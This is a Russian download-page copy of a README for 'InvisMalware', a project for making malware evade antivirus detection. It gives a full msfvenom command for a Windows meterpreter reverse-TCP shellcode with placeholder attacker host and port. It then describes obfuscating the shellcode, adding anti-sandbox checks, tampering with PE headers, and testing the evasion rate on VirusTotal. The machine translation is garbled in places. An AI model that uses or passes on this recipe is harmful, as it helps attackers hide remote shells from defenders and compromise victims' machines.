Скачать InvisMalware - Загрузка исходного кода InvisMalware

InvisMalware

Другие категории

1.0.0

Скачать

Invismalware: передовые методы уклонения от вредоносных программ

Введение

Invismalware - это проект, предназначенный для демонстрации передовых методов уклонения от вредоносных программ, которые обходят обнаружение антивируса. Этот эксперимент по вредоносному программам, управляемую исследованиями, фокусируется на использовании методов запутывания, таких как модификации кода и стратегии анти-сандбокс, чтобы уклониться от статического и динамического обнаружения вредоносных программ.

Этот проект предназначен только для образовательных целей , предназначенный для того, чтобы дать представление о современных стратегиях обороны вредоносных программ путем изучения методов уклонения, используемых злонамеренными субъектами.

Функции

Генерация ShellCode : Создайте пользовательские обратные полезные нагрузки оболочки TCP с использованием MSFvenom.
Запутывание кода : измените код вредоносного ПО, чтобы уклониться от обнаружения антивируса, добавляя NOPS, манипулируя заголовками PE и многое другое.
Антидинамический анализ : включайте проверки для обнаружения среда песочниц, таких как аудио драйвер и присутствие устройства USB.
Манипуляция с заголовком PE : замаскировать вредоносное ПО, настраивая портативный руководитель (PE) заголовок, чтобы избежать обнаружения на основе подписи.
Расчет скорости уклонения : измерьте эффективность методов уклонения, сравнивая результаты по различным антивирусным двигателям.

Установка

Чтобы начать, клонируйте репозиторий и установите необходимые зависимости.

Предварительные условия

Python 3.x
VirtualBox/VMware (для тестирования в виртуальных средах)
Metasploit Framework (для генерации SheltCode)
PE-bear (для манипуляции с заголовком PE)

Клонировать репозиторий

git clone https://github.com/mawg0ud/InvisMalware.git
cd InvisMalware

Установить зависимости

pip install -r requirements.txt

Использование

1. Сгенерируйте вредоносную шетва

Используйте MSFVVENOM для генерации оборудования обратного TCP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= < your_ip > LPORT= < your_port > -f c > evilexp.c

2. Измените SheltCode

Измените файл evilexp.c , чтобы запутать код и избежать обнаружения.

3. запустить в виртуальной машине

Развернуть вредоносное ПО в безопасной изолированной виртуальной машине, чтобы проверить ее поведение и измерения скорости обнаружения.

4. Загрузить в вирустотальный

Загрузите вредоносное ПО в virustotal, чтобы оценить его скорость уклонения по нескольким антивирусным двигателям.

Методология эксперимента

Проект следует четырехэтапной методологии для достижения уклонения от вредоносных программ:

Генерация ShellCode : создать базовый обратный оборудование.
Модификация кода : запутывайте шелл, чтобы уклониться от обнаружения.
Антидинамический анализ : добавьте обнаружение песочницы в инструменты обхода динамического анализа.
Модификация заголовка PE : измените заголовок PE, чтобы еще больше запутать подпись вредоносного ПО.

Тестирование

Местное тестирование

Запустите вредоносное ПО на вашей виртуальной машине, оснащенной антивирусным программным обеспечением, таким как Kaspersky , Windows Defender или BitDefender .